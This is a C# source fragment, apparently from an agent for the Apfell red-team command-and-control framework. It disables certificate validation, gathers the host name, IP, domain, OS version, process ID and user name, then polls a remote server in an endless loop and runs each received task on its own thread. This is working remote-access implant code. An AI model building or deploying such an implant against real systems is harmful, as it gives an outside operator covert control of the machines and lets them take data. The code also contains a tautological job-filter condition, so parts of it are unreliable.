/// <summary>
/// Check Apfell endpoint for new task
/// </summary>
/// <returns>CaramelTask with the next task to execute</returns>
public SCTask CheckTasking()
{
string taskEndpoint = this.endpoint + "tasks/callback/" + this.callbackId + "/nextTask";
try // Try block for checking tasks (throws if retries exceeded)
{
while (retry < 20)
{
try // Try block for HTTP request
{
SCTask task = JsonConvert.DeserializeObject <SCTask>(HTTP.Get(taskEndpoint));
retry = 0;
if (task.command != "none")
{
Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id);
}
return(task);
}
catch (Exception e) // Catch exceptions from HTTP request
{
retry++;
Debug.WriteLine("[!] CheckTasking - ERROR: " + e.Message + ", retrying...");
Thread.Sleep(this.sleep);
this.CheckTasking();
}
}
throw new Exception();
}
catch // Catch exception when retries exceeded
{
Debug.WriteLine("[!] CheckTasking - ERROR: retries exceeded.");
return(null);
}
}
static void Main(string[] args)
{
// Necessary to disable certificate validation
ServicePointManager.ServerCertificateValidationCallback =
delegate { return true; };
SCImplant implant = new SCImplant()
{
uuid = args[2], // Generated when payload is created in Apfell
endpoint = args[0] + "/api/v1.3/",
host = Dns.GetHostName(),
ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface
.AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(),
domain = Environment.UserDomainName,
os = Environment.OSVersion.VersionString,
architecture = "x64",
pid = Process.GetCurrentProcess().Id,
sleep = 5000,
user = Environment.UserName
};
HTTP.crypto.PSK = Convert.FromBase64String(args[1]);
if (implant.InitializeImplant())
{
int shortId = 1;
while (true)
{
SCTask task = implant.CheckTasking();
if (task.command != "none")
{
task.shortId = shortId;
shortId++;
Thread t = new Thread(() => task.DispatchTask(implant));
t.Start();
if (task.command != "jobs" || task.command != "jobkill") // We don't want to add our job tracking jobs.
{
Job j = new Job
{
shortId = task.shortId,
task = task.command,
thread = t
};
if (task.@params != "")
j.task += " " + task.@params;
implant.jobs.Add(j);
}
}
Thread.Sleep(implant.sleep);
}
}
}